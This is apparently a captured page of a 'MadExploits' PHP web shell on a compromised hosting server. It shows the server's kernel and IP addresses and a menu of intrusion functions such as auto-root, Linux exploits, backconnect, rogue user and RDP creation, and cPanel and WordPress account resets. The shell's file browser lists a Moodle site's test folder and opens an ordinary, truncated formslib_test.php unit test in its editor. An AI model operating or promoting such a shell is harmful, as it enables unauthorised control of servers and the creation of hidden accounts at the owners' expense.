Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.196
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
content
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
other
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
plugininfo
[ DIR ]
drwxr-xr-x
accesslib_has_capability_test....
29.73
KB
-rw-r--r--
accesslib_test.php
215.8
KB
-rw-r--r--
adhoc_task_test.php
18.44
KB
-rw-r--r--
adminlib_test.php
4.38
KB
-rw-r--r--
admintree_test.php
17.22
KB
-rw-r--r--
ajaxlib_test.php
4.36
KB
-rw-r--r--
analysers_test.php
13.35
KB
-rw-r--r--
antivirus_test.php
8.68
KB
-rw-r--r--
authlib_test.php
19.91
KB
-rw-r--r--
blocklib_test.php
35.27
KB
-rw-r--r--
calendar_cron_task_test.php
2.69
KB
-rw-r--r--
check_test.php
1.97
KB
-rw-r--r--
client_test.php
4.34
KB
-rw-r--r--
collator_test.php
11.99
KB
-rw-r--r--
completion_daily_task_test.php
5.25
KB
-rw-r--r--
completionlib_test.php
46.83
KB
-rw-r--r--
component_test.php
40.16
KB
-rw-r--r--
componentlib_test.php
6.64
KB
-rw-r--r--
configonlylib_test.php
6.15
KB
-rw-r--r--
content_test.php
4.77
KB
-rw-r--r--
core_media_player_native.php
6.3
KB
-rw-r--r--
core_media_player_native_test....
6.3
KB
-rw-r--r--
core_renderer_template_exploit...
17.28
KB
-rw-r--r--
coverage.php
1.93
KB
-rw-r--r--
cronlib_test.php
6.89
KB
-rw-r--r--
csslib_test.php
1.79
KB
-rw-r--r--
csvclass_test.php
5.57
KB
-rw-r--r--
curl_security_helper_test.php
14.79
KB
-rw-r--r--
customcontext_test.php
3.66
KB
-rw-r--r--
dataformat_test.php
3.74
KB
-rw-r--r--
datalib_test.php
41.96
KB
-rw-r--r--
datalib_update_with_unique_ind...
6.31
KB
-rw-r--r--
date_legacy_test.php
13.9
KB
-rw-r--r--
date_test.php
24.48
KB
-rw-r--r--
editorlib_test.php
2.01
KB
-rw-r--r--
environment_test.php
8.54
KB
-rw-r--r--
event_context_locked_test.php
4.11
KB
-rw-r--r--
event_course_module_instance_l...
2.7
KB
-rw-r--r--
event_course_module_viewed.php
3.33
KB
-rw-r--r--
event_deprecated_test.php
1.49
KB
-rw-r--r--
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
event_profile_field_test.php
14.52
KB
-rw-r--r--
event_test.php
41.06
KB
-rw-r--r--
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
event_user_graded_test.php
10.07
KB
-rw-r--r--
event_user_password_updated_te...
2.89
KB
-rw-r--r--
events_test.php
16.17
KB
-rw-r--r--
exporter_test.php
11.02
KB
-rw-r--r--
externallib_test.php
29.59
KB
-rw-r--r--
filelib_test.php
70.81
KB
-rw-r--r--
filestorage_zip_archive_test.p...
2.75
KB
-rw-r--r--
filetypes_test.php
10.2
KB
-rw-r--r--
filter_manager_test.php
3.37
KB
-rw-r--r--
filterlib_test.php
35.91
KB
-rw-r--r--
formslib_test.php
39.6
KB
-rw-r--r--
gdlib_test.php
5.92
KB
-rw-r--r--
googlelib_test.php
1.53
KB
-rw-r--r--
gradelib_test.php
9.74
KB
-rw-r--r--
grades_externallib_test.php
24.66
KB
-rw-r--r--
grading_externallib_test.php
26.27
KB
-rw-r--r--
grouplib_test.php
84.4
KB
-rw-r--r--
h5p_get_content_types_task_tes...
2.69
KB
-rw-r--r--
html2text_test.php
7.58
KB
-rw-r--r--
html_writer_test.php
8.74
KB
-rw-r--r--
htmlpurifier_test.php
22.67
KB
-rw-r--r--
indicators_test.php
16.38
KB
-rw-r--r--
ip_utils_test.php
14.27
KB
-rw-r--r--
jquery_test.php
1.76
KB
-rw-r--r--
ldaplib_test.php
17.72
KB
-rw-r--r--
licenselib_test.php
11.58
KB
-rw-r--r--
lock_config_test.php
3.39
KB
-rw-r--r--
lock_test.php
5.5
KB
-rw-r--r--
markdown_test.php
2.45
KB
-rw-r--r--
mathslib_test.php
11.12
KB
-rw-r--r--
medialib_test.php
20.19
KB
-rw-r--r--
message_test.php
12.43
KB
-rw-r--r--
messageinbound_test.php
5.89
KB
-rw-r--r--
messagelib_test.php
56.39
KB
-rw-r--r--
minify_test.php
3.14
KB
-rw-r--r--
modinfolib_test.php
44.15
KB
-rw-r--r--
moodle_page_test.php
29.58
KB
-rw-r--r--
moodle_url_test.php
12.83
KB
-rw-r--r--
moodlelib_test.php
213.97
KB
-rw-r--r--
mustache_template_finder_test....
7.4
KB
-rw-r--r--
mustache_template_source_loade...
18.06
KB
-rw-r--r--
myprofilelib_test.php
10.7
KB
-rw-r--r--
navigationlib_test.php
26.28
KB
-rw-r--r--
notification_test.php
4.61
KB
-rw-r--r--
oauth2_test.php
9.99
KB
-rw-r--r--
output_mustache_helper_collect...
8.09
KB
-rw-r--r--
outputcomponents_test.php
28.44
KB
-rw-r--r--
outputfactories_test.php
6.8
KB
-rw-r--r--
outputrequirementslib_test.php
5.38
KB
-rw-r--r--
persistent_test.php
19.44
KB
-rw-r--r--
plugin_manager_test.php
27.26
KB
-rw-r--r--
portfoliolib_test.php
8.41
KB
-rw-r--r--
progress_display_test.php
3.75
KB
-rw-r--r--
progress_test.php
14.5
KB
-rw-r--r--
qrcode_test.php
1.88
KB
-rw-r--r--
questionlib_test.php
96.9
KB
-rw-r--r--
regex_test.php
1.88
KB
-rw-r--r--
requirejs_test.php
3.73
KB
-rw-r--r--
rsslib_test.php
6.89
KB
-rw-r--r--
rtlcss_test.php
56.86
KB
-rw-r--r--
sample_questions.ser
141.76
KB
-rw-r--r--
sample_questions.xml
102.62
KB
-rw-r--r--
sample_questions_with_old_imag...
4.85
KB
-rw-r--r--
sample_questions_with_old_imag...
4.08
KB
-rw-r--r--
sample_questions_wrong.xml
102.57
KB
-rw-r--r--
scheduled_task_test.php
24.16
KB
-rw-r--r--
scss_test.php
4.48
KB
-rw-r--r--
session_manager_test.php
33.96
KB
-rw-r--r--
session_redis_test.php
12.39
KB
-rw-r--r--
sessionlib_test.php
11.86
KB
-rw-r--r--
setuplib_test.php
20.69
KB
-rw-r--r--
statslib_test.php
26.75
KB
-rw-r--r--
string_manager_standard_test.p...
10.05
KB
-rw-r--r--
tablelib_test.php
23.48
KB
-rw-r--r--
task_database_logger_test.php
20.15
KB
-rw-r--r--
task_logging_test.php
17.31
KB
-rw-r--r--
task_manager_test.php
11.2
KB
-rw-r--r--
task_running_test.php
6.59
KB
-rw-r--r--
text_test.php
21.09
KB
-rw-r--r--
theme_config_test.php
9.41
KB
-rw-r--r--
time_splittings_test.php
15.09
KB
-rw-r--r--
update_api_test.php
6.75
KB
-rw-r--r--
update_checker_test.php
10.86
KB
-rw-r--r--
update_code_manager_test.php
9.06
KB
-rw-r--r--
update_validator_test.php
18.44
KB
-rw-r--r--
upgrade_util_test.php
5.65
KB
-rw-r--r--
upgradelib_test.php
69.1
KB
-rw-r--r--
user_menu_test.php
3.82
KB
-rw-r--r--
user_test.php
32.33
KB
-rw-r--r--
useragent_test.php
83.88
KB
-rw-r--r--
weblib_format_text_test.php
12.05
KB
-rw-r--r--
weblib_test.php
35.06
KB
-rw-r--r--
xhprof_test.php
3.32
KB
-rw-r--r--
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
xmlize_test.php
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : formslib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for /lib/formslib.php. * * @package core_form * @category phpunit * @copyright 2011 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/formslib.php'); require_once($CFG->libdir . '/form/radio.php'); require_once($CFG->libdir . '/form/select.php'); require_once($CFG->libdir . '/form/text.php'); class core_formslib_testcase extends advanced_testcase { public function test_require_rule() { global $CFG; $strictformsrequired = null; if (isset($CFG->strictformsrequired)) { $strictformsrequired = $CFG->strictformsrequired; } $rule = new MoodleQuickForm_Rule_Required(); // First run the tests with strictformsrequired off. $CFG->strictformsrequired = false; // Passes. $this->assertTrue($rule->validate('Something')); $this->assertTrue($rule->validate("Something\nmore")); $this->assertTrue($rule->validate("\nmore")); $this->assertTrue($rule->validate(" more ")); $this->assertTrue($rule->validate('ш')); $this->assertTrue($rule->validate("の")); $this->assertTrue($rule->validate("0")); $this->assertTrue($rule->validate(0)); $this->assertTrue($rule->validate(true)); $this->assertTrue($rule->validate(' ')); $this->assertTrue($rule->validate(' ')); $this->assertTrue($rule->validate("\t")); $this->assertTrue($rule->validate("\n")); $this->assertTrue($rule->validate("\r")); $this->assertTrue($rule->validate("\r\n")); $this->assertTrue($rule->validate(" \t \n \r ")); $this->assertTrue($rule->validate('<p></p>')); $this->assertTrue($rule->validate('<p> </p>')); $this->assertTrue($rule->validate('<p>x</p>')); $this->assertTrue($rule->validate('<img src="smile.jpg" alt="smile" />')); $this->assertTrue($rule->validate('<img src="smile.jpg" alt="smile"/>')); $this->assertTrue($rule->validate('<img src="smile.jpg" alt="smile"></img>')); $this->assertTrue($rule->validate('<hr />')); $this->assertTrue($rule->validate('<hr/>')); $this->assertTrue($rule->validate('<hr>')); $this->assertTrue($rule->validate('<hr></hr>')); $this->assertTrue($rule->validate('<br />')); $this->assertTrue($rule->validate('<br/>')); $this->assertTrue($rule->validate('<br>')); $this->assertTrue($rule->validate(' ')); // Fails. $this->assertFalse($rule->validate('')); $this->assertFalse($rule->validate(false)); $this->assertFalse($rule->validate(null)); // Now run the same tests with it on to make sure things work as expected. $CFG->strictformsrequired = true; // Passes. $this->assertTrue($rule->validate('Something')); $this->assertTrue($rule->validate("Something\nmore")); $this->assertTrue($rule->validate("\nmore")); $this->assertTrue($rule->validate(" more ")); $this->assertTrue($rule->validate("0")); $this->assertTrue($rule->validate('ш')); $this->assertTrue($rule->validate("の")); $this->assertTrue($rule->validate(0)); $this->assertTrue($rule->validate(true)); $this->assertTrue($rule->validate('<p>x</p>')); $this->assertTrue($rule->validate('<img src="smile.jpg" alt="smile" />')); $this->assertTrue($rule->validate('<img src="smile.jpg" alt="smile"/>')); $this->assertTrue($rule->validate('<img src="smile.jpg" alt="smile"></img>')); $this->assertTrue($rule->validate('<hr />')); $this->assertTrue($rule->validate('<hr/>')); $this->assertTrue($rule->validate('<hr>')); $this->assertTrue($rule->validate('<hr></hr>')); // Fails. $this->assertFalse($rule->validate(' ')); $this->assertFalse($rule->validate(' ')); $this->assertFalse($rule->validate("\t")); $this->assertFalse($rule->validate("\n")); $this->assertFalse($rule->validate("\r")); $this->assertFalse($rule->validate("\r\n")); $this->assertFalse($rule->validate(" \t \n \r ")); $this->assertFalse($rule->validate('<p></p>')); $this->assertFalse($rule->validate('<p> </p>')); $this->assertFalse($rule->validate('<br />')); $this->assertFalse($rule->validate('<br/>')); $this->assertFalse($rule->validate('<br>')); $this->assertFalse($rule->validate(' ')); $this->assertFalse($rule->validate('')); $this->assertFalse($rule->validate(false)); $this->assertFalse($rule->validate(null)); if (isset($strictformsrequired)) { $CFG->strictformsrequired = $strictformsrequired; } } public function test_range_rule() { global $CFG; require_once('HTML/QuickForm/Rule/Range.php'); // Requires this pear stuff. $strictformsrequired = null; if (isset($CFG->strictformsrequired)) { $strictformsrequired = $CFG->strictformsrequired; } $rule = new HTML_QuickForm_Rule_Range(); // First run the tests with strictformsrequired off. $CFG->strictformsrequired = false; // Passes. $rule->setName('minlength'); // Let's verify some min lengths. $this->assertTrue($rule->validate('12', 2)); $this->assertTrue($rule->validate('123', 2)); $this->assertTrue($rule->validate('áé', 2)); $this->assertTrue($rule->validate('áéí', 2)); $rule->setName('maxlength'); // Let's verify some max lengths. $this->assertTrue($rule->validate('1', 2)); $this->assertTrue($rule->validate('12', 2)); $this->assertTrue($rule->validate('á', 2)); $this->assertTrue($rule->validate('áé', 2)); $rule->setName('----'); // Let's verify some ranges. $this->assertTrue($rule->validate('', array(0, 2))); $this->assertTrue($rule->validate('1', array(0, 2))); $this->assertTrue($rule->validate('12', array(0, 2))); $this->assertTrue($rule->validate('á', array(0, 2))); $this->assertTrue($rule->validate('áé', array(0, 2))); // Fail. $rule->setName('minlength'); // Let's verify some min lengths. $this->assertFalse($rule->validate('', 2)); $this->assertFalse($rule->validate('1', 2)); $this->assertFalse($rule->validate('á', 2)); $rule->setName('maxlength'); // Let's verify some max lengths. $this->assertFalse($rule->validate('123', 2)); $this->assertFalse($rule->validate('áéí', 2)); $rule->setName('----'); // Let's verify some ranges. $this->assertFalse($rule->validate('', array(1, 2))); $this->assertFalse($rule->validate('123', array(1, 2))); $this->assertFalse($rule->validate('áéí', array(1, 2))); // Now run the same tests with it on to make sure things work as expected. $CFG->strictformsrequired = true; // Passes. $rule->setName('minlength'); // Let's verify some min lengths. $this->assertTrue($rule->validate('12', 2)); $this->assertTrue($rule->validate('123', 2)); $this->assertTrue($rule->validate('áé', 2)); $this->assertTrue($rule->validate('áéí', 2)); $rule->setName('maxlength'); // Let's verify some min lengths. $this->assertTrue($rule->validate('1', 2)); $this->assertTrue($rule->validate('12', 2)); $this->assertTrue($rule->validate('á', 2)); $this->assertTrue($rule->validate('áé', 2)); $rule->setName('----'); // Let's verify some ranges. $this->assertTrue($rule->validate('', array(0, 2))); $this->assertTrue($rule->validate('1', array(0, 2))); $this->assertTrue($rule->validate('12', array(0, 2))); $this->assertTrue($rule->validate('á', array(0, 2))); $this->assertTrue($rule->validate('áé', array(0, 2))); // Fail. $rule->setName('minlength'); // Let's verify some min lengths. $this->assertFalse($rule->validate('', 2)); $this->assertFalse($rule->validate('1', 2)); $this->assertFalse($rule->validate('á', 2)); $rule->setName('maxlength'); // Let's verify some min lengths. $this->assertFalse($rule->validate('123', 2)); $this->assertFalse($rule->validate('áéí', 2)); $rule->setName('----'); // Let's verify some ranges. $this->assertFalse($rule->validate('', array(1, 2))); $this->assertFalse($rule->validate('123', array(1, 2))); $this->assertFalse($rule->validate('áéí', array(1, 2))); if (isset($strictformsrequired)) { $CFG->strictformsrequired = $strictformsrequired; } } public function test_generate_id_select() { $el = new MoodleQuickForm_select('choose_one', 'Choose one', array(1 => 'One', '2' => 'Two')); $el->_generateId(); $this->assertSame('id_choose_one', $el->getAttribute('id')); } public function test_generate_id_like_repeat() { $el = new MoodleQuickForm_text('text[7]', 'Type something'); $el->_generateId(); $this->assertSame('id_text_7', $el->getAttribute('id')); } public function test_can_manually_set_id() { $el = new MoodleQuickForm_text('elementname', 'Type something', array('id' => 'customelementid')); $el->_generateId(); $this->assertSame('customelementid', $el->getAttribute('id')); } public function test_generate_id_radio() { $el = new MoodleQuickForm_radio('radio', 'Label', 'Choice label', 'choice_value'); $el->_generateId(); $this->assertSame('id_radio_choice_value', $el->getAttribute('id')); } public function test_radio_can_manually_set_id() { $el = new MoodleQuickForm_radio('radio2', 'Label', 'Choice label', 'choice_value', array('id' => 'customelementid2')); $el->_generateId(); $this->assertSame('customelementid2', $el->getAttribute('id')); } public function test_generate_id_radio_like_repeat() { $el = new MoodleQuickForm_radio('repeatradio[2]', 'Label', 'Choice label', 'val'); $el->_generateId(); $this->assertSame('id_repeatradio_2_val', $el->getAttribute('id')); } public function test_rendering() { $form = new formslib_test_form(); ob_start(); $form->display(); $html = ob_get_clean(); $this->assertTag(array('tag'=>'select', 'id'=>'id_choose_one', 'attributes'=>array('name'=>'choose_one')), $html); $this->assertTag(array('tag'=>'input', 'id'=>'id_text_0', 'attributes'=>array('type'=>'text', 'name'=>'text[0]')), $html); $this->assertTag(array('tag'=>'input', 'id'=>'id_text_1', 'attributes'=>array('type'=>'text', 'name'=>'text[1]')), $html); $this->assertTag(array('tag'=>'input', 'id'=>'id_radio_choice_value', 'attributes'=>array('type'=>'radio', 'name'=>'radio', 'value'=>'choice_value')), $html); $this->assertTag(array('tag'=>'input', 'id'=>'customelementid2', 'attributes'=>array('type'=>'radio', 'name'=>'radio2')), $html); $this->assertTag(array('tag'=>'input', 'id'=>'id_repeatradio_0_2', 'attributes'=>array('type'=>'radio', 'name'=>'repeatradio[0]', 'value'=>'2')), $html); $this->assertTag(array('tag'=>'input', 'id'=>'id_repeatradio_2_1', 'attributes'=>array('type'=>'radio', 'name'=>'repeatradio[2]', 'value'=>'1')), $html); $this->assertTag(array('tag'=>'input', 'id'=>'id_repeatradio_2_2', 'attributes'=>array('type'=>'radio', 'name'=>'repeatradio[2]', 'value'=>'2')), $html); } public function test_settype_debugging_text() { $mform = new formslib_settype_debugging_text(); $this->assertDebuggingCalled("Did you remember to call setType() for 'texttest'? Defaulting to PARAM_RAW cleaning."); // Check form still there though. $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="texttest/'); $mform->display(); } public function test_settype_debugging_hidden() { $mform = new formslib_settype_debugging_hidden(); $this->assertDebuggingCalled("Did you remember to call setType() for 'hiddentest'? Defaulting to PARAM_RAW cleaning."); // Check form still there though. $this->expectOutputRegex('/<input[^>]*name="hiddentest[^>]*type="hidden/'); $mform->display(); } public function test_settype_debugging_url() { $this->resetAfterTest(true); $this->setAdminUser(); $mform = new formslib_settype_debugging_url(); $this->assertDebuggingCalled("Did you remember to call setType() for 'urltest'? Defaulting to PARAM_RAW cleaning."); // Check form still there though. $this->expectOutputRegex('/<input[^>]*type="url[^>]*name="urltest"/'); $mform->display(); } public function test_settype_debugging_repeat() { $mform = new formslib_settype_debugging_repeat(); $this->assertDebuggingCalled("Did you remember to call setType() for 'repeattest[0]'? Defaulting to PARAM_RAW cleaning."); // Check form still there though. $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="repeattest/'); $mform->display(); } public function test_settype_debugging_repeat_ok() { $mform = new formslib_settype_debugging_repeat_ok(); // No debugging expected here. $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="repeattest/'); $mform->display(); } public function test_settype_debugging_group() { $mform = new formslib_settype_debugging_group(); $this->assertDebuggingCalled("Did you remember to call setType() for 'groupel1'? Defaulting to PARAM_RAW cleaning."); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="groupel1"/'); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="groupel2"/'); $mform->display(); } public function test_settype_debugging_namedgroup() { $mform = new formslib_settype_debugging_namedgroup(); $this->assertDebuggingCalled("Did you remember to call setType() for 'namedgroup[groupel1]'? Defaulting to PARAM_RAW cleaning."); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="namedgroup\[groupel1\]"/'); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="namedgroup\[groupel2\]"/'); $mform->display(); } public function test_settype_debugging_funky_name() { $mform = new formslib_settype_debugging_funky_name(); $this->assertDebuggingCalled("Did you remember to call setType() for 'blah[foo][bar][1]'? Defaulting to PARAM_RAW cleaning."); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="blah\[foo\]\[bar\]\[0\]"/'); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="blah\[foo\]\[bar\]\[1\]"/'); $mform->display(); } public function test_settype_debugging_type_inheritance() { $mform = new formslib_settype_debugging_type_inheritance(); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="blah\[foo\]\[bar\]\[0\]"/'); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="blah\[bar\]\[foo\]\[1\]"/'); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="blah\[any\]\[other\]\[2\]"/'); $mform->display(); } public function test_settype_debugging_type_group_in_repeat() { $mform = new formslib_settype_debugging_type_group_in_repeat(); $this->assertDebuggingCalled("Did you remember to call setType() for 'test2[0]'? Defaulting to PARAM_RAW cleaning."); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="test1\[0\]"/'); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="test2\[0\]"/'); $mform->display(); } public function test_settype_debugging_type_namedgroup_in_repeat() { $mform = new formslib_settype_debugging_type_namedgroup_in_repeat(); $this->assertDebuggingCalled("Did you remember to call setType() for 'namedgroup[0][test2]'? Defaulting to PARAM_RAW cleaning."); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="namedgroup\[0\]\[test1\]"/'); $this->expectOutputRegex('/<input[^>]*type="text[^>]*name="namedgroup\[0\]\[test2\]"/'); $mform->display(); } public function test_type_cleaning() { $expectedtypes = array( 'simpleel' => PARAM_INT, 'groupel1' => PARAM_INT, 'groupel2' => PARAM_FLOAT, 'groupel3' => PARAM_INT, 'namedgroup' => array( 'sndgroupel1' => PARAM_INT, 'sndgroupel2' => PARAM_FLOAT, 'sndgroupel3' => PARAM_INT ), 'namedgroupinherit' => array( 'thdgroupel1' => PARAM_INT, 'thdgroupel2' => PARAM_INT ), 'repeatedel' => array( 0 => PARAM_INT, 1 => PARAM_INT ), 'repeatedelinherit' => array( 0 => PARAM_INT, 1 => PARAM_INT ), 'squaretest' => array( 0 => PARAM_INT ), 'nested' => array( 0 => array( 'bob' => array( 123 => PARAM_INT, 'foo' => PARAM_FLOAT ), 'xyz' => PARAM_RAW ), 1 => PARAM_INT ), 'repeatgroupel1' => array( 0 => PARAM_INT, 1 => PARAM_INT ), 'repeatgroupel2' => array( 0 => PARAM_INT, 1 => PARAM_INT ), 'repeatnamedgroup' => array( 0 => array( 'repeatnamedgroupel1' => PARAM_INT, 'repeatnamedgroupel2' => PARAM_INT ), 1 => array( 'repeatnamedgroupel1' => PARAM_INT, 'repeatnamedgroupel2' => PARAM_INT ) ) ); $valuessubmitted = array( 'simpleel' => '11.01', 'groupel1' => '11.01', 'groupel2' => '11.01', 'groupel3' => '11.01', 'namedgroup' => array( 'sndgroupel1' => '11.01', 'sndgroupel2' => '11.01', 'sndgroupel3' => '11.01' ), 'namedgroupinherit' => array( 'thdgroupel1' => '11.01', 'thdgroupel2' => '11.01' ), 'repeatedel' => array( 0 => '11.01', 1 => '11.01' ), 'repeatedelinherit' => array( 0 => '11.01', 1 => '11.01' ), 'squaretest' => array( 0 => '11.01' ), 'nested' => array( 0 => array( 'bob' => array( 123 => '11.01', 'foo' => '11.01' ), 'xyz' => '11.01' ), 1 => '11.01' ), 'repeatgroupel1' => array( 0 => '11.01', 1 => '11.01' ), 'repeatgroupel2' => array( 0 => '11.01', 1 => '11.01' ), 'repeatnamedgroup' => array( 0 => array( 'repeatnamedgroupel1' => '11.01', 'repeatnamedgroupel2' => '11.01' ), 1 => array( 'repeatnamedgroupel1' => '11.01', 'repeatnamedgroupel2' => '11.01' ) ) ); $expectedvalues = array( 'simpleel' => 11, 'groupel1' => 11, 'groupel2' => 11.01, 'groupel3' => 11, 'namedgroup' => array( 'sndgroupel1' => 11, 'sndgroupel2' => 11.01, 'sndgroupel3' => 11 ), 'namedgroupinherit' => array( 'thdgroupel1' => 11, 'thdgroupel2' => 11 ), 'repeatable' => 2, 'repeatedel' => array( 0 => 11, 1 => 11 ), 'repeatableinherit' => 2, 'repeatedelinherit' => array( 0 => 11, 1 => 11 ), 'squaretest' => array( 0 => 11 ), 'nested' => array( 0 => array( 'bob' => array( 123 => 11, 'foo' => 11.01 ), 'xyz' => '11.01' ), 1 => 11 ), 'repeatablegroup' => 2, 'repeatgroupel1' => array( 0 => 11, 1 => 11 ), 'repeatgroupel2' => array( 0 => 11, 1 => 11 ), 'repeatablenamedgroup' => 2, 'repeatnamedgroup' => array( 0 => array( 'repeatnamedgroupel1' => 11, 'repeatnamedgroupel2' => 11 ), 1 => array( 'repeatnamedgroupel1' => 11, 'repeatnamedgroupel2' => 11 ) ) ); $mform = new formslib_clean_value(); $mform->get_form()->updateSubmission($valuessubmitted, null); foreach ($expectedtypes as $elementname => $expected) { $actual = $mform->get_form()->getCleanType($elementname, $valuessubmitted[$elementname]); $this->assertSame($expected, $actual, "Failed validating clean type of '$elementname'"); } $data = $mform->get_data(); $this->assertSame($expectedvalues, (array) $data); } /** * MDL-52873 */ public function test_multiple_modgrade_fields() { global $CFG; $this->resetAfterTest(true); $CFG->theme = 'classic'; $form = new formslib_multiple_modgrade_form(); ob_start(); $form->display(); $html = ob_get_clean(); $this->assertTag(array('id' => 'fitem_fgroup_id_grade1'), $html); $this->assertTag(array('id' => 'id_grade1_modgrade_type'), $html); $this->assertTag(array('id' => 'id_grade1_modgrade_point'), $html); $this->assertTag(array('id' => 'id_grade1_modgrade_scale'), $html); $this->assertTag(array('id' => 'fitem_fgroup_id_grade2'), $html); $this->assertTag(array('id' => 'id_grade2_modgrade_type'), $html); $this->assertTag(array('id' => 'id_grade2_modgrade_point'), $html); $this->assertTag(array('id' => 'id_grade2_modgrade_scale'), $html); $this->assertTag(array('id' => 'fitem_fgroup_id_grade_3'), $html); $this->assertTag(array('id' => 'id_grade_3_modgrade_type'), $html); $this->assertTag(array('id' => 'id_grade_3_modgrade_point'), $html); $this->assertTag(array('id' => 'id_grade_3_modgrade_scale'), $html); } /** * Test persistant freeze elements have different id's. */ public function test_persistantrreeze_element() { global $CFG; $this->resetAfterTest(true); $CFG->theme = 'classic'; $form = new formslib_persistantrreeze_element(); ob_start(); $form->display(); $html = ob_get_clean(); // Test advcheckbox id's. $this->assertTag(array('id' => 'id_advcheckboxpersistant'), $html); $this->assertTag(array('id' => 'id_advcheckboxnotpersistant'), $html); $this->assertNotTag(array('id' => 'id_advcheckboxnotpersistant_persistant'), $html); $this->assertTag(array('id' => 'id_advcheckboxfrozen'), $html); // Check text element id's. $this->assertTag(array('id' => 'id_textpersistant'), $html); $this->assertTag(array('id' => 'id_textnotpersistant'), $html); $this->assertNotTag(array('id' => 'id_textnotpersistant_persistant'), $html); $this->assertTag(array('id' => 'id_textfrozen'), $html); $this->assertNotTag(array('id' => 'id_textfrozen_persistant'), $html); } /** * Ensure a validation can run at least once per object. See MDL-56259. */ public function test_multiple_validation() { $this->resetAfterTest(true); // It should be valid. formslib_multiple_validation_form::mock_submit(['somenumber' => '10']); $form = new formslib_multiple_validation_form(); $this->assertTrue($form->is_validated()); $this->assertEquals(10, $form->get_data()->somenumber); // It should not validate. formslib_multiple_validation_form::mock_submit(['somenumber' => '-5']); $form = new formslib_multiple_validation_form(); $this->assertFalse($form->is_validated()); $this->assertNull($form->get_data()); } /** * MDL-56233 - Tests mocking a form inside a namespace. */ public function test_mock_submit() { require_once(__DIR__.'/fixtures/namespaced_form.php'); \local_unittests\namespaced_form\exampleform::mock_submit(['title' => 'Mocked Value']); $form = new \local_unittests\namespaced_form\exampleform(); // Here is the problem, this is the expected hidden field name. $expected = '_qf__local_unittests_namespaced_form_exampleform'; self::assertArrayHasKey($expected, $_POST); // This should work now, before it would fail. self::assertTrue($form->is_submitted()); self::assertSame('Mocked Value', $form->get_data()->title); } } /** * Test form to be used by {@link formslib_test::test_rendering()}. */ class formslib_test_form extends moodleform { public function definition() { $this->_form->addElement('select', 'choose_one', 'Choose one', array(1 => 'One', '2' => 'Two')); $repeatels = array( $this->_form->createElement('text', 'text', 'Type something') ); // TODO: The repeat_elements() is far from perfect. Everything should be // repeated auto-magically by default with options only defining exceptions. // Surely this is caused because we are storing some element information OUT // from the element (type...) at form level. Anyway, the method should do its // work better, no matter of that. $this->repeat_elements($repeatels, 2, array('text' => array('type' => PARAM_RAW)), 'numtexts', 'addtexts'); $this->_form->addElement('radio', 'radio', 'Label', 'Choice label', 'choice_value'); $this->_form->addElement('radio', 'radio2', 'Label', 'Choice label', 'choice_value', array('id' => 'customelementid2')); $repeatels = array( $this->_form->createElement('radio', 'repeatradio', 'Choose {no}', 'One', 1), $this->_form->createElement('radio', 'repeatradio', 'Choose {no}', 'Two', 2), ); $this->repeat_elements($repeatels, 3, array(), 'numradios', 'addradios'); } } /** * Used to test debugging is called when text added without setType. */ class formslib_settype_debugging_text extends moodleform { public function definition() { $mform = $this->_form; $mform->addElement('text', 'texttest', 'test123', 'testing123'); } } /** * Used to test debugging is called when hidden added without setType. */ class formslib_settype_debugging_hidden extends moodleform { public function definition() { $mform = $this->_form; $mform->addElement('hidden', 'hiddentest', '1'); } } /** * Used to test debugging is called when hidden added without setType. */ class formslib_settype_debugging_url extends moodleform { public function definition() { $mform = $this->_form; $mform->addElement('url', 'urltest', 'urltest'); } } /** * Used to test debugging is called when repeated text added without setType. */ class formslib_settype_debugging_repeat extends moodleform { public function definition() { $mform = $this->_form; $repeatels = array( $mform->createElement('text', 'repeattest', 'Type something') ); $this->repeat_elements($repeatels, 1, array(), 'numtexts', 'addtexts'); } } /** * Used to no debugging is called when correctly test. */ class formslib_settype_debugging_repeat_ok extends moodleform { public function definition() { $mform = $this->_form; $repeatels = array( $mform->createElement('text', 'repeattest', 'Type something') ); $this->repeat_elements($repeatels, 2, array('repeattest' => 